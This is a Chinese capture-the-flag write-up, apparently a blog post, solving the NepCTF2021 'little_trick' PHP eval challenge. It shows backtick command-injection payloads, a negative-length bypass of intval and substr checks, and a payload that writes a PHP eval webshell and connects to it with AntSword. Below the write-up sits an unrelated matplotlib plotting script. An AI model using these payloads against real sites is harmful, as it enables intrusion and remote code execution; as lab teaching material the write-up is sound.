NepCTF2021 little_trick

2 篇文章 0 订阅

题目

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>
url?nep=`ls>1`;&len=7
访问url/1
得到
1
index.php
nepctf.php

然后有个骚姿势,让len= -1绕过intval($len)<8,让我们的payload可以更长,

substr($nep,0,-1)是从0取到倒数第二位
substr("abcdef",0,-1)得到"abcd"

然后payload

url?nep=`cat n*>1`;a&len=-1

然后访问url/1得到flag,最后那个a是用来填充的,因为substr取到倒数第二位,上面说了。

法二
feng师傅的payload
我直接膜拜

?len=7;echo%20%27<?php%20eval($_POST[0]);?>%27%20>%203.php;&nep=`$len`;

利用php的类型转换,无论是intval还是substr,那里处理的都是前面的数字7,但是真正命令执行的却是整个len变量。

然后蚁剑连接。

法三

前面和法一 一样
这需要重新开一次靶机

url/?nep=`>cat`;&len=7
url/?nep=`*>1`;&len=7

这里*>1等价于cat index.php nepctf.php> 1,linux小trick记住就好,因为linux文件系统默认从数字小写字母到大写字母升序排列

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
import csv import matplotlib.pylab as plt import numpy as np #导入csv文件 file = 'D:\\education.csv' with open(file, encoding='utf_8', newline='') as f: data = [row for row in csv.DictReader(f)] print(data) f.close() #可视化操作 plt.rcParams["font.family"]="FangSong" #设置字体 #设置横坐标 x_trick=[] for dct in data: x_trick.append(dct.get("地区")) #设置纵坐标 #小学 y_num1=[] for n1 in data: y_num1.append(n1.get('小学')) y1 = [int(x) for x in y_num1] #初中 y_num2 = [] for n2 in data: y_num2.append(n2.get('初中')) y2 = [int(x) for x in y_num2] #高中 y_num3 = [] for n3 in data: y_num3.append(n3.get('初中')) y3 = [int(x) for x in y_num3] #大学 y_num4 = [] for n4 in data: y_num4.append(n4.get('初中')) y4 = [int(x) for x in y_num4] #无学历 count = [i+j+m+n for i,j,m,n in zip(y1, y2, y3, y4)] y0 = [100000 - i for i in count] plt.figure(figsize=(10,5)) #设置表格大小 plt.title('各地区每10完人不同教育程度的人数', loc='left', fontsize=10) x=range(0,len(x_trick)) #刻度 plt.xticks(x,x_trick) #横坐标对应位置显示的内容 #在特定的起始高度画出每条对应的柱子,并给定相应的颜色 plt.bar(x,y0,color='rad') plt.bar(x,y1, color='orange', bottom=np.array(y0)) plt.bar(x, y2, color='yellow', bottom=np.array(y0)+np.array(y1)) plt.bar(x, y3, color='green', bottom=np.array(y0)+np.array(y1)+np.array(y2)) plt.bar(x, y4, color='blue', bottom=np.array(y0)+np.array(y1)+np.array(y2)+np.array(y3)) #创建图例 plt.legend(['五', '小学', '初中', '高中(含中专)', '大学(大专及以上)'], ncol=5,bbox_to_anchor=(1.001,1.054), borderaxespad=0, fontsize=6, loc=1, ) plt.show() 请修改这段代码
最新发布
06-02
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值